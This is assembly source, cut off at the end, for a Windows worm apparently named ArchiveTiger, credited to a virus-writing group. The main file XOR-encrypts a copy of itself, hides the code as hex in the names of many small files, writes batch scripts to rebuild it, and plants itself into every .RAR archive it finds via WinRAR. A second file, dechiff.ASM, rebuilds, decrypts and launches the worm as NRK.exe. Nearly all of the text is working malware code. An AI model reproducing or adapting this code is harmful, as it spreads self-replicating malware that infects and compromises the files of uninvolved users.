0x0, "Eppur si muove! - Defend your opinion!", "Artwork by Second Part To Hell/rRlf", 0x0 call random_name ; Generate a random name mov ecx, 8 mov esi, rnd_file_name mov edi, new_filename rep movsb ; Write the random name to 'new_filename' invoke CopyFile, \ ; Copy the own file, as access is denied while running [my_filename], \ new_filename, \ ; random name FALSE invoke CreateFile, \ ; Get the handle of the file new_filename, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ OPEN_EXISTING, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hCreFile], eax invoke GetFileSize, \ ; Get the Filesize of the file [hCreFile], \ new_filesize mov [new_filesize], eax mov [c_file_size], primary_decryption_code_length invoke CreateFileMapping, \ ; Create a Map of the File [hCreFile], \ 0x0, \ PAGE_READWRITE, \ 0x0, \ [new_filesize], \ 0x0 mov [hCrFiMap], eax invoke MapViewOfFile, \ ; Create a MapViewOfFile [hCrFiMap], \ FILE_MAP_ALL_ACCESS, \ 0x0, \ 0x0, \ [new_filesize] mov [hMapView], eax call random_name mov byte [rnd_file_name+8], 0x0 invoke CreateDirectory, \ ; Current directory=Worm directory rnd_file_name, \ 0x0 invoke SetCurrentDirectory, \ rnd_file_name mov esi, rnd_file_name mov edi, worm_dir mov ecx, 0x8 rep movsb ; Save the name of the worm-directory mov byte [rnd_file_name+8], '.' call random_name invoke CreateFile, \ rnd_file_name, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_ALWAYS, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hCrypTxt], eax invoke VirtualAlloc, \ 0x0, \ 0x10000, \ ; 64 KB RAM 0x1000, \ 0x4 mov [memory_alloc], eax push 0x0 ; =pointer=0x0 call random_number generate_crypt_key: pop eax push eax call random_number ; Generate 8 random numbers in rand_name_buffer mov ecx, [rand_name_buffer+3] ; ecx=random dword and ecx, 7 ; ecx=00000000 00000000 00000000 00000??? inc ecx ; ecx!=0! cmp ecx, 7 ; ecx>8? jg generate_crypt_key ; generate new random! mov esi, rand_name_buffer ; From: rand_name_buffer mov edi, [memory_alloc] ; To: memory pop edx ; Get pointer add edi, edx ; edi=memory_alloc+pointer add edx, ecx ; Add number of written bytes to the counter push edx ; Save pointer rep movsb ; Write! call random_number ; Get another random number xor ebx,ebx mov bx, word [rand_name_buffer+1] ; bx=???? ???? ???? ???? add bx, word [rand_name_buffer+3] add bx, word [rand_name_buffer+5] cmp ebx, 0x80 jg generate_crypt_key ; If not: Continue generating keys pop eax ; Get KEY-size mov [keysize], eax invoke WriteFile, \ ; Write the generated random code to the .txt file [hCrypTxt], \ [memory_alloc], \ [keysize], \ FALSE_F, \ 0x0 invoke CloseHandle, \ ; Close the .txt file [hCrypTxt] mov ecx, [new_filesize] encrypt_map: mov edx, [new_filesize] ; EDX=filesize sub edx, ecx ; EDX=filesize-ECX(bytes to write) mov eax, [memory_alloc] ; EAX=pointer to random code in memory add eax, edx ; EAX=pointer to current rnd byte in memory mov al, byte [eax] ; Cryptor-Byte in AL mov ebx, [hMapView] ; EBX=Pointer to MapView add ebx, edx ; EBX=Pointer to current byte of MapView mov ah, byte [ebx] ; Byte to be encrypted in AH xor ah, al ; Encrypt! mov ebx, [hMapView] ; Pointer of Mapped File to ebx add ebx, edx ; Get the -to-encrypt- byte mov [ebx], ah ; Move the encrypted Byte to Memory loop encrypt_map xor ecx, ecx ; ECX=counter=0 write_hex_to_memory: add ecx, [hMapView] mov al, byte [ecx] ; One Byte of Mapview to al sub ecx, [hMapView] call binary_to_hex ; Convert binary al to hex valie (AX) mov ebx, ecx ; EBX=counter shl ebx, 1 ; EBX*=2 add ebx, [memory_alloc] mov word [ebx], ax ; Write HEX-Value inc ecx ; Increase the counter cmp ecx, [new_filesize] ; ECX=filesize? jne write_hex_to_memory ; If yes, stop writing mov ecx, [new_filesize] ; ecx=filesize shl ecx, 1 ; ecx*=2 = Size of byte to write (the HEX-values) mov [trash_counter], ecx ; trash_counter=counter generate_hex_files: mov eax, [trash_counter] ; If trash_counter < 0x8 -> AL=trash_counter cmp [trash_counter], 0x8 ; Compare if trash_counter <=8 jle make_last_hex_file ; If so, goto end of writing call random_name call random_byte ; al=random number xor al, byte [rand_name_buffer] xor al, byte [rand_name_buffer+2] xor al, byte [rand_name_buffer+4] xor al, byte [trash_counter] and eax, 0x7 ; al=0000 0??? inc al ; At least 0x1 mov ebx, [new_filesize] ; EBX=Filesize shl ebx, 1 ; EBX=Bytes to write sub ebx, [trash_counter] ; EBX=Already written bytes sub [trash_counter], eax ; Decrease the bytes to write by the bytes which will be written ; Dumb Info: The last 2 lines costed me ~1.5h of bug-searching :)) add ebx, [memory_alloc] ; EBX=Pointer where to start to write call Create_Hex_File ; Create the file now jmp generate_hex_files make_last_hex_file: mov ebx, [new_filesize] shl ebx, 1 sub ebx, [trash_counter] add ebx, [memory_alloc] call Create_Hex_File ; Now all files have been written invoke UnmapViewOfFile, \ [hMapView] invoke CloseHandle, \ [hCrFiMap] invoke CloseHandle, \ ; Close File [hCreFile] mov ecx, primary_decryption_code_length mov esi, primary_decryption_code mov edi, [memory_alloc] rep movsb mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.tmp' ; instate of '.tmp', '.exe' invoke VirtualAlloc, \ ; Reserve Space in Memory 0x0, \ 0x120000, \ 0x1000, \ 0x4 mov [combine_data], eax ; Save the pointer to it. mov [combine_pointer], eax ; Save again invoke SetCurrentDirectory, \ ; Create the start.bat outside of the directory dotdot invoke CreateFile, \ ; Create start.bat file combine_name, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_NEW, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [combine_handle], eax mov esi, combine_cd mov edi, [combine_pointer] mov ecx, 13 rep movsb ; Write 'cd randfolder'\n add [combine_pointer], 13 mov byte [end_combine_cd], 0x0 invoke SetCurrentDirectory, \ worm_dir mov ebp, 0xABA9AB call random_name mov esi, combine_start ; What to write mov edi, [combine_pointer] ; Where to write mov ecx, 5 ; How much to write rep movsb ; Write! add [combine_pointer], 5 ; Get next empty byte to write OFS_main_loop: call random_number mov al, [combine_name_size] xor al, byte [rand_name_buffer] add al, byte [rand_name_buffer+5] sub al, byte [rand_name_buffer+2] xor al, byte [rand_name_buffer+4] xor al, byte [rand_name_buffer+1] xor al, byte [rand_name_buffer+3] and al, 0x07 ; AL < 7 mov [combine_name_size], al mov ebp, 0xAAAAAAAA ; Influences the random engine call random_name ; random name in rnd_file_name xor eax, eax ; EAX=0 add al, [combine_name_size] ; EAX=(0..7) add eax, rnd_file_name ; EAX=rnd_file_name+(0..7) invoke CreateFile, \ eax, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_NEW, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 cmp eax, INVALID_HANDLE_VALUE ; If file already existed je OFS_main_loop ; then get a new file-name mov [split_handle], eax ; Save the file-handle call random_number ; Get random number xor eax, eax ; eax=0 mov al, [rand_name_buffer] ; al~=random and al, 7 ; al= 0000 0??? add al, 3 ; At least three byte mov [split_counter], al ; Save that bytes sub [c_file_size], eax ; Decrease the bytes to write invoke WriteFile, \ ; Write (1..8) byte [split_handle], \ [memory_alloc], \ eax, \ FALSE_F, \ 0x0 invoke CloseHandle, [split_handle] ; Close the file xor eax, eax mov al, [split_counter] ; How many bytes written add [memory_alloc], eax ; Add the pointer - write the next few bytes next time mov esi, rnd_file_name ; From: Filename-buffer xor eax, eax add al, [combine_name_size] ; EAX=(0..7) add esi, eax ; ESI=Pointer to rnd-name+(0..7) mov edi, [combine_pointer] ; To: compainer-pointer mov ecx, 12 ; 8+strlen('.xxx') sub ecx, eax ; ECX=(0..7)+strlen('.xxx') rep movsb ; Write! add [combine_pointer], 12 ; Add 12 to pointer sub [combine_pointer], eax ; Subtract (0..7) mov eax, [combine_pointer] ; Pointer to eax mov byte [eax], '+' ; Move '+' to the code's memory inc [combine_pointer] ; Increase the pointer xor ebx, ebx mov bx, word [rand_name_buffer+1] ; bx=???? ???? ???? ???? xor bx, word [rand_name_buffer+3] add bx, word [rand_name_buffer+5] add bx, word [rand_name_buffer+3] cmp ebx, 0x2FFF jg OFS_cmp_end call combine_next_line ; New line in combine-file OFS_cmp_end: cmp [c_file_size], 0x0 ; Compare if more bytes to write jg OFS_main_loop ; If yes, jmp to main_loop mov eax, [combine_pointer] ; eax=pointer dec eax ; Delete the last '+' mov byte [eax], 0x20 ; Add a space mov esi, combine_b ; What to write mov edi, [combine_pointer] ; Where to write mov ecx, 3 ; How much to write rep movsb ; Write! add [combine_pointer], 4 ; Get next empty byte to write mov ebp, 0xAAAAAAAA ; Influences the random engine call random_number ; random name in rnd_file_name mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.exe' ; instate of '.tmp', '.exe' dec [combine_pointer] mov esi, rnd_file_name ; From: rnd_file_name mov edi, [combine_pointer] ; To: compainter_pointer mov ecx, 12 ; How much: 12 bytes rep movsb ; Write add [combine_pointer], 12 ; Add 12, to get the end again mov eax, [combine_pointer] ; eax=pointer to content mov word [eax], 0x0A0D ; Next Line add [combine_pointer], 2 mov esi, rnd_file_name ; From: rnd_file_name mov edi, [combine_pointer] ; To: compainter_pointer mov ecx, 12 ; How much: 12 bytes rep movsb ; Write add [combine_pointer], 12 ; Add 12, to get the end again mov eax, [combine_data] sub [combine_pointer], eax invoke WriteFile, \ ; Write the last .bat file [combine_handle], \ [combine_data], \ [combine_pointer], \ FALSE_F, \ 0x0 invoke CloseHandle, \ ; Close the last .bat file [combine_handle] invoke SetCurrentDirectory, \ ; Out of the worm-directory dotdot invoke DeleteFile, \ ; Delete the temporariely copy of the worm file new_filename invoke RegOpenKeyEx, \ ; Open the reg-key for getting the ProgramDir-Path HKEY_LOCAL_MACHINE, \ program_dir_reg_subkey, \ 0x0, \ KEY_ALL_ACCESS, \ reg_handle invoke RegQueryValueEx, \ ; Read the info [reg_handle], \ program_dir_reg_value, \ 0x0, \ reg_value_type, \ reg_buffer, \ reg_buffer_size invoke RegCloseKey, \ ; Close reg-key [reg_handle] xor ecx, ecx find_end_zero_loop: ; Find the end of the value-string mov eax, reg_buffer add eax, ecx inc ecx cmp byte [eax], 0x0 ; If zero=END jne find_end_zero_loop sub eax, reg_buffer mov esi, inf_str mov edi, reg_buffer add edi, eax mov ecx, inf_string_length1 rep movsb ; Append the WinRAR-string to the %ProgramFilesDir% add eax, inf_string_length1 dec eax mov [inf_string_length], eax invoke GetCurrentDirectory, \ 0x100, \ GetCurrentDir_buffer xor ecx, ecx find_GCD_zero_loop: ; Find the end of the Current-Dir-string mov eax, GetCurrentDir_buffer add eax, ecx inc ecx cmp byte [eax], 0x0 ; If zero=END jne find_GCD_zero_loop sub eax, GetCurrentDir_buffer mov [GetCDB_Size], eax mov esi, GetCurrentDir_buffer mov edi, GCD mov ecx, [GetCDB_Size] rep movsb ; Write a temp GetCurDir-String call Find_RAR_Files_And_Infect ; Call the Infection Functions invoke SetCurrentDirectory, \ ; The worm-file is generated in the worm-directory dotdot ; (hardly any .RARs)so we should go out, infect other dirs call ChangeDirString ; Change the path of the current directory call Find_RAR_Files_And_Infect ; And infect! invoke ExitProcess, 0x0 Create_Hex_File: ; Generate a file with code (converted to HEX) in the filename ; In: al = Bytes of filename (without extention) ; ebx = Pointer of filename-content ; ; Anything changed! mov dword [hex_filename+0], 0x0 mov dword [hex_filename+4], 0x0 xor ecx, ecx ; ECX=0 mov cl, al ; ECX=bytes of filename mov esi, ebx ; ESI=Source=Pointer filename-content mov al, 0x8 ; Maximal filesize sub al, cl ; MAX-REAL=DIF and eax, 0xFF ; eax= 0000 00FF mov edi, hex_filename ; EDI=Destination=Buffer for filename add edi, eax ; Real place to write rep movsb ; Write add eax, hex_filename invoke CreateFile, \ eax, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_ALWAYS, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 invoke CloseHandle, \ eax mov eax, hex_extention+2 ; Pointer to 3rd byte in extention cmp byte [eax], '9' ; Is it '9'? je hex_ext_counter_9_A ; If yes, make a 'A' cmp byte [eax], 'Z' ; Is it 'Z'? je hex_ext_counter_Z_0 inc byte [eax] ; Increase extention-counter ret hex_ext_counter_9_A: ; In: eax = Pointer to byte to change ; Out: [eax]='A' mov byte [eax], 'A' ; Increase extention-counter ret hex_ext_counter_Z_0: ; My first recursive function in asm :) mov byte [eax], '0' ; Increase extention-counter dec eax cmp byte [eax], '9' je hex_ext_counter_9_A cmp byte [eax], 'Z' je hex_ext_counter_Z_0 inc byte [eax] ret binary_to_hex: ; Convert a binary byte to a hex-number ; In: al = binary byte ; Out: ax = hex-value ; Nothing else changed mov word [bin2hex], 0x3030 ; Code of "00" mov ah, al ; ah=al and al, 0x0F ; al=0000 ???? push binary_to_hex_RJ_1 ; Offset of return jmp to stack cmp al, 0x0A ; Is al > 10 jge bin2hex_inc_al ; If yes, increase AL: ; ASCII '0' = 0x30 ; ASCII '9' = 0x39 ; ASCII 'A' = 0x41 ; 'A'-'9' = 0x41-0x39 = 8-1 = 7 mov [trash_counter], ebx ; We did not need the retrun value pop ebx ; Get it back mov ebx, [trash_counter] ; Restore ebx binary_to_hex_RJ_1: add byte [bin2hex_2], al ; '0'+al shr ah, 4 ; ah = ???? ---- -> 0000 ???? mov al, ah ; al = ah push binary_to_hex_RJ_2 cmp al, 0x0A jge bin2hex_inc_al mov [trash_counter], ebx pop ebx mov ebx, [trash_counter] binary_to_hex_RJ_2: add byte [bin2hex_1], al mov ax, word [bin2hex] ; HEX-value to ax ret bin2hex_inc_al: add al, 7 ; al += 7 <- If al > "9" then ASCII-number + 7 ret random_number: pop edi ; Get value of stack push edi ; Back to the stack mov ecx, 8 ; ecx=counter mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random mov dl, 0x87 ; same as dh random_name_loop: push dx ; Save dx at stack push ecx ; Save counter at stack call random_byte ; Random number in al pop ecx ; get counter xor al, cl ; Counter influences pseudo random number pop dx ; Get dx push ecx xor dx, cx ; Counter influences influncing number add dh, al ; Random number influences influencing number sub dl, al ; Same as dh neg dl ; Neg dl xor dl, dh ; dl XOR dh -> more variability xor al, dl ; random number changes sub ax, di ; value of stack influences random number add ax, dx ; ax+dx mov dl, [rand_name_buffer+ecx-2] mov dh, byte [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ????? sub al, dl ; al-=dl add al, dh ; al+=dh mov ah, dl ; ah=dl push ax ; AX to stack mov cl, 1 ; cl=1 or dh, cl ; dh is at least 1 (to reduce chance of result=zero) mul dh ; AL=AX*DH pop cx ; CX=old AX push cx ; To stack again add cl, al ; CL+=AL sub cl, ah ; CL-=AH xchg al, cl ; AL=CL mov cx, bp ; cx=bp mul cl ; AX=AL*CL neg ah ; NEG AH xor al, ah ; xor AL and AH pop cx ; get old AX sub cl, al ; SUB add cl, dl ; cl+=old random number sub al, cl ; al ~=random :) pop ecx ; Get counter mov byte [rand_name_buffer+ecx-1], al ; Save random letter loop random_name_loop ret random_name: call random_number ; Get 8 random bytes mov ecx, 8 ; counter=8, as we want to do it 8 times changetoletter: mov al, byte [rand_name_buffer+ecx-1] ; Get a letter mov bl, 10 ; BL=10 xor ah, ah ; AX: 0000 0000 ???? ???? div bl ; AL=rnd/10=number between 0 and 25 add al, 97 ; Add 97 for getting lowercase letters mov [rnd_file_name+ecx-1], al ; Save random letter loop changetoletter ret random_byte: invoke GetSystemTime, systemtime_struct ; Get first number mov ebx, [rnd-2] ; ebx=number add ebx, edx ; Making it pseudo-independent of time sub ebx, ecx xor ebx, eax xchg bl, bh pop ecx push ecx neg ebx xor ebx, ecx ; ebx=pseudo-indepentend number invoke GetTickCount ; Get second number xor eax, ecx ; eax=number neg ax ; Making it pseudo-independent of time xor eax, edx xor ah, al sub eax, ebp add eax, esi ; eax=pseudo-indepentend number xor eax, ebx ; Compain the numbers -> eax mov ebx, eax ; Save eax shr eax, 8 ; e-part -> ax xor ax, bx xor al, ah ; al=number ret combine_next_line: mov eax, [combine_pointer] ; eax=pointer dec eax ; Delete the last '+' mov byte [eax], 0x20 ; Add a space inc [combine_pointer] ; Increase pointer again mov ebp, 0xAAAAAAAA ; Influences the random engine call random_name ; random name in rnd_file_name mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.exe' ; instate of '.tmp', '.exe' dec [combine_pointer] mov esi, combine_b ; copy [source] /b [destination] mov edi, [combine_pointer] mov ecx, 3 rep movsb add [combine_pointer], 3 mov esi, rnd_file_name ; From: rnd_file_name xor eax, eax mov al, [combine_name_size] add esi, eax ; ESI=Pointer to RND-Name+(0..7) mov edi, [combine_pointer] ; To: compainter_pointer mov ecx, 12 sub ecx, eax rep movsb ; Write add [combine_pointer], 12 ; Add 12, to get the end again xor eax, eax mov al, [combine_name_size] sub [combine_pointer], eax mov eax, [combine_pointer] ; eax=pointer to content mov word [eax], 0x0A0D ; Next Line add [combine_pointer], 2 call random_number and byte [rand_name_buffer+4], 0x03 ; rand_name_buffer+4 < 4 cmp byte [rand_name_buffer+4], 0x00 ; rand_name_buffer+4 = 0 ? je combine_file_split ; If yes, close current combine file, ; make a new one, ; call it and continue mov esi, combine_start ; What to write mov edi, [combine_pointer] ; Where to write mov ecx, 5 ; How much to write rep movsb ; Write! add [combine_pointer], 5 ; Get next empty byte to write mov esi, rnd_file_name ; From: rnd_file_name xor eax, eax mov al, [combine_name_size] add esi, eax mov edi, [combine_pointer] ; To: compainter_pointer mov ecx, 12 ; How much: 12 bytes sub ecx, eax rep movsb add [combine_pointer], 12 sub [combine_pointer], eax mov eax, [combine_pointer] mov byte [eax], '+' inc [combine_pointer] mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.tmp' ; instate of '.tmp', '.exe' ret combine_file_split: mov esi, rnd_file_name mov edi, rnd_split_combine_buffer mov ecx, 12 rep movsb ; Save last filename mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.bat' ; instate of '.bat', '.exe' CFS_loop: call random_number mov al, [combine_name_size] xor al, byte [rand_name_buffer] add al, byte [rand_name_buffer+5] sub al, byte [rand_name_buffer+2] xor al, byte [rand_name_buffer+4] xor al, byte [rand_name_buffer+1] xor al, byte [rand_name_buffer+3] and al, 0x07 ; AL < 7 mov [combine_name_size2], al call random_name xor eax, eax ; EAX=0 add al, [combine_name_size2] ; EAX=(0..7) add eax, rnd_file_name ; EAX=rnd_file_name+(0..7) invoke CreateFile, \ ; Create the new .bat file eax, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_NEW, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 cmp eax, INVALID_HANDLE_VALUE ; If file already existed je CFS_loop push eax ; Save the new file handle mov esi, rnd_file_name xor ebx, ebx mov bl, [combine_name_size2] add esi, ebx mov edi, [combine_pointer] mov ecx, 12 sub ecx, ebx rep movsb ; Write the name of the new .bat file add [combine_pointer], 12 sub [combine_pointer], ebx mov eax, [combine_data] sub [combine_pointer], eax invoke WriteFile, \ ; Write the file [combine_handle], \ [combine_data], \ [combine_pointer], \ FALSE_F, \ 0x0 invoke CloseHandle, [combine_handle] ; Close the old .bat file ; Now let's prepare anything for the new file pop [combine_handle] ; Get the handle of the new .bat file again mov eax, [combine_pointer] mov eax, [combine_data] mov [combine_pointer], eax ; [combine_pointer] = Start of virtual Alloc mov esi, combine_start mov edi, [combine_pointer] mov ecx, 5 rep movsb ; Write 'copy ' add [combine_pointer], 5 mov esi, rnd_split_combine_buffer xor eax, eax mov al, [combine_name_size] add esi, eax mov edi, [combine_pointer] mov ecx, 12 add ecx, eax rep movsb ; Write previous filename add [combine_pointer], 12 sub [combine_pointer], eax mov eax, [combine_pointer] mov byte [eax], '+' inc [combine_pointer] mov eax, rnd_file_name ; RND-pointer in eax add eax, 8 ; add 8 to pointer (='.' of filename) mov dword [eax], '.tmp' ; instate of '.tmp', '.bat' ret Find_RAR_Files_And_Infect: invoke FindFirstFile, \ ; Find the first .RAR file infection_extention, \ WIN32_FIND_DATA cmp eax, INVALID_HANDLE_VALUE ; Last File? je End_Find_RARs ; If yes, stop program mov [inf_handle], eax ; Save the search-handle for *.RAR files invoke SetCurrentDirectory, \ GCD find_rar_loop: call Infect_RAR ; INFECT IT! invoke FindNextFile, \ ; Get next .RAR file [inf_handle], \ WIN32_FIND_DATA cmp eax, 0x0 ; Last File? je End_Find_RARs ; If yes, stop program jmp find_rar_loop End_Find_RARs: invoke FindClose, \ ; Close the search-handle for *.RAR files [inf_handle] ret Infect_RAR: mov eax, [combine_data] mov [combine_pointer], eax mov esi, reg_buffer mov edi, [combine_pointer] mov ecx, [inf_string_length] rep movsb ; Write the infection string to the memory mov eax, [inf_string_length] sub eax, 3 add [combine_pointer], eax mov esi, GetCurrentDir_buffer mov edi, [combine_pointer] mov ecx, [GetCDB_Size] rep movsb ; Write the path of the victim file before the filename mov eax, [GetCDB_Size] add [combine_pointer], eax mov eax, [combine_pointer] mov byte [eax], '\' inc [combine_pointer] xor ecx, ecx find_zero_loop: ; Find the end of the name-string mov eax, WIN32_FIND_DATA.cFileName add eax, ecx inc ecx cmp byte [eax], 0x0 ; If zero=END jne find_zero_loop sub eax, WIN32_FIND_DATA.cFileName ; EAX=str_len(filename) push eax mov esi, WIN32_FIND_DATA.cFileName mov edi, [combine_pointer] mov ecx, eax rep movsb ; Write the RAR-filename to the string pop ecx add [combine_pointer], ecx mov eax, [combine_pointer] mov byte [eax], 0x20 ; Write a space to the pointer inc [combine_pointer] mov eax, WIN32_FIND_DATA.cFileName zero_filename_buffer: mov byte [eax], 0x0 inc eax cmp eax, 260 jle zero_filename_buffer mov eax, [combine_pointer] mov [save_inf_str_pointer], eax ; Save the pointer, for the next string mov [combine_pointer], eax mov [save_inf_str_pointer], eax mov esi, combine_name mov edi, [combine_pointer] mov ecx, 0x9 rep movsb add [combine_pointer], 0x9 mov eax, [combine_pointer] mov byte [eax], 0x0 call Run_Infection_Command ; Run the command! (add start.bat to the .RAR archive) mov esi, worm_dir mov edi, [save_inf_str_pointer] mov ecx, 0x8 rep movsb ; Write the name of the directory ; instead of the start.bat name add [save_inf_str_pointer], 0x8 mov eax, [save_inf_str_pointer] mov byte [eax], 0x0 ; Write a zero at the end of the string call Run_Infection_Command ; Run the command! (add worm-directory to the .RAR archive) ret Run_Infection_Command: invoke CreateProcess, \ ; Execute the extrac32-string 0x0, \ ; Now the extracted version of the victim is in the temp-direcory [combine_data], \ 0x0, \ 0x0, \ FALSE, \ 0x0, \ 0x0, \ 0x0, \ STARTUPINFO_struct, \ PROCESS_INFORMATION_struct invoke Sleep, \ ; Wait 6.333 Secunds until return. 6333 ; Reason: rar.exe may use much CPU-Speed, to reduce the ; chance of conflicts, give it some time for working. ; This has always worked when I've tested it. ret ChangeDirString: ; Delete the last backslash of the Current Directory-Path mov ecx, [GetCDB_Size] CDS_loop: mov eax, GetCurrentDir_buffer add eax, ecx dec ecx cmp byte [eax], '\' jne CDS_loop mov byte [eax], 0x0 sub eax, GetCurrentDir_buffer mov [GetCDB_Size], eax ret .end start ######################################[ArchiveTiger.ASM]###################################### #########################################[dechiff.ASM]######################################## include '..\FASM\INCLUDE\win32ax.inc' .data memory_alloc dd 0x0 memory_counter dd 0x0 searchstr_fn db '*.' fn_ext db '000', 0x0 stSearchTxt db '*.txt', 0x0 hSearchFile dd 0x0 dot_position dd 0x0 trash dd 0x0 trash2 dd 0x0 hCreFile dd 0x0 key_txt_size dd 0x0 hCrFiMap dd 0x0 hMapView dd 0x0 FALSE_F dd 0x0 hWormFile dd 0x0 worm_file db 'NRK.exe',0x0 WIN32_FIND_DATA: .dwFileAttributes dd ? .ftCreationTime FILETIME .ftLastAccessTime FILETIME .ftLastWriteTime FILETIME .nFileSizeHigh dd ? .nFileSizeLow dd ? .dwReserved0 dd ? .dwReserved1 dd ? .cFileName rb 260 .cAlternateFileName rb 14 ;end WIN32_FIND_DATA STARTUP_struct: StartUp_struct_cb dd 0 StartUp_struct_lpReserved dd 0 StartUp_struct_lpDesktop dd 0 StartUp_struct_lpTitle dd 0 StartUp_struct_dwX dd 0 StartUp_struct_dwY dd 0 StartUp_struct_dwXSize dd 0 StartUp_struct_dwYSize dd 0 StartUp_struct_dwXCountChars dd 0 StartUp_struct_dwYCountChars dd 0 StartUp_struct_dwFillAttribute dd 0 StartUp_struct_dwFlags dd 0 StartUp_struct_wShowWindow dw 0 StartUp_struct_cbReserved2 dw 0 StartUp_struct_lpReserved2 dd 0 StartUp_struct_hStdInput dd 0 StartUp_struct_hStdOutput dd 0 StartUp_struct_hStdError dd 0 PROCESS_INFO_struct: PROCESS_INFORMATION_hProcess dd 0 PROCESS_INFORMATION_hThread dd 0 PROCESS_INFORMATION_dwProcessId dd 0 PROCESS_INFORMATION_dwThreadId dd 0 .code start: invoke VirtualAlloc, \ 0x0, \ 0x10000, \ ; 64 KB RAM 0x1000, \ 0x4 mov [memory_alloc], eax find_files_with_sp_name: invoke FindFirstFile, \ ; Find a file with special filenames searchstr_fn, \ ; Pointer to filename (*.NNN - where NNN is the counter) WIN32_FIND_DATA ; Pointer to WIN32_FIND_DATA structure mov [hSearchFile], eax ; Save search handle cmp eax, INVALID_HANDLE_VALUE ; Last File? je decrypt_worm_code ; If yes, let's decrypt the worm-code call change_search_str ; Increase the extention (counter) xor ecx, ecx ; Counter=0 call FileName_To_Memory ; Write the filename to memory invoke FindClose, \ ; Close search-handle [hSearchFile] jmp find_files_with_sp_name nop ; Due to a bug in CMD.EXE I have to change the offset ; of the decrypt_worm_code lable. decrypt_worm_code: xor ecx, ecx hex2bin_loop: mov eax, [memory_alloc] add eax, ecx mov ax, word [eax] call hex_to_binary mov ebx, ecx shr ebx, 1 add ebx, [memory_alloc] mov [ebx], al add ecx, 2 cmp ecx, [memory_counter] js hex2bin_loop invoke FindFirstFile, \ ; Find the *.txt file with the key to decrypt stSearchTxt, \ WIN32_FIND_DATA invoke FindClose, \ ; Close the Search-Handle eax invoke CreateFile, \ ; Open the .txt file (with the decrytion-key) WIN32_FIND_DATA.cFileName, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ OPEN_EXISTING, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hCreFile], eax invoke GetFileSize, \ ; Get the Filesize of the file [hCreFile], \ ; =Size of the key key_txt_size mov [key_txt_size], eax invoke CreateFileMapping, \ ; Create a Map of the File [hCreFile], \ 0x0, \ PAGE_READWRITE, \ 0x0, \ [key_txt_size], \ 0x0 mov [hCrFiMap], eax invoke MapViewOfFile, \ ; Create a MapViewOfFile [hCrFiMap], \ ; The key with the decrytion key FILE_MAP_ALL_ACCESS, \ 0x0, \ 0x0, \ [key_txt_size] mov [hMapView], eax xor ecx, ecx ; ECX=COUNTER=0x0 decrypt_memory_code: mov eax, [hMapView] ; EAX=Start of decrytion-key add eax, ecx ; EAX=Current position of decrytion key mov al, byte [eax] ; al=Content of current position of decrytion key mov ebx, [memory_alloc] ; EBX=Start of encryted virus in memory add ebx, ecx ; EBX=Current position of encryted virus mov ah, byte [ebx] ; ah=Content of current position of encryted virus xor ah, al ; AH=Encrypted Byte XOR KEY mov byte [ebx], ah ; Write AH to Memory inc ecx ; Increase the counter mov eax, [memory_counter] ; Size of the virus*2 (Due to Hex (2Byte) -> Bin (1Byte) conversion) shr eax, 1 ; EAX/2 cmp ecx, [key_txt_size] ; Compare if current position greater than key jg finish_decrytion ; If yes, finish decrytion cmp ecx, eax ; Compare if current byte smaller than virus size js decrypt_memory_code ; If yes, continue finish_decrytion: invoke UnmapViewOfFile, \ [hMapView] invoke CloseHandle, \ [hCrFiMap] invoke CloseHandle, \ [hCreFile] invoke CreateFile, \ worm_file, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_ALWAYS, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hWormFile], eax mov eax, [memory_counter] shr eax, 1 invoke WriteFile, \ ; Write the real worm-file [hWormFile], \ [memory_alloc], \ eax, \ FALSE_F, \ 0x0 invoke CloseHandle, \ ; Close Wormfile [hWormFile] invoke CreateProcess, \ ; Open Worm! worm_file, \ 0x0, \ 0x0, \ 0x0, \ FALSE, \ 0x0, \ 0x0, \ 0x0, \ STARTUP_struct, \ PROCESS_INFO_struct endde: invoke ExitProcess, 0x0 change_search_str: ; Changes the extention to search for mov eax, fn_ext+2 ; Pointer to 3rd byte in extention cmp byte [eax], '9' ; Is it '9'? je hex_ext_counter_9_A ; If yes, make a 'A' cmp byte [eax], 'Z' ; Is it 'Z'? je hex_ext_counter_Z_0 inc byte [eax] ; Increase extention-counter ret hex_ext_counter_9_A: ; In: eax = Pointer to byte to change ; Out: [eax]='A' mov byte [eax], 'A' ; Increase extention-counter ret hex_ext_counter_Z_0: ; My first recursive function in asm :) mov byte [eax], '0' ; Increase extention-counter dec eax cmp byte [eax], '9' je hex_ext_counter_9_A cmp byte [eax], 'Z' je hex_ext_counter_Z_0 inc byte [eax] ret FileName_To_Memory: mov ecx, 0x9 get_dot_in_filename: mov eax, WIN32_FIND_DATA.cFileName add eax, ecx cmp byte [eax], '.' je found_dot_in_filename loop get_dot_in_filename found_dot_in_filename: mov [dot_position], ecx mov esi, WIN32_FIND_DATA.cFileName ; What? Filename! mov edi, [memory_alloc] ; Where? Memory! add edi, [memory_counter] ; Where exactly? Next byte in memory rep movsb ; Write! mov ecx, [dot_position] 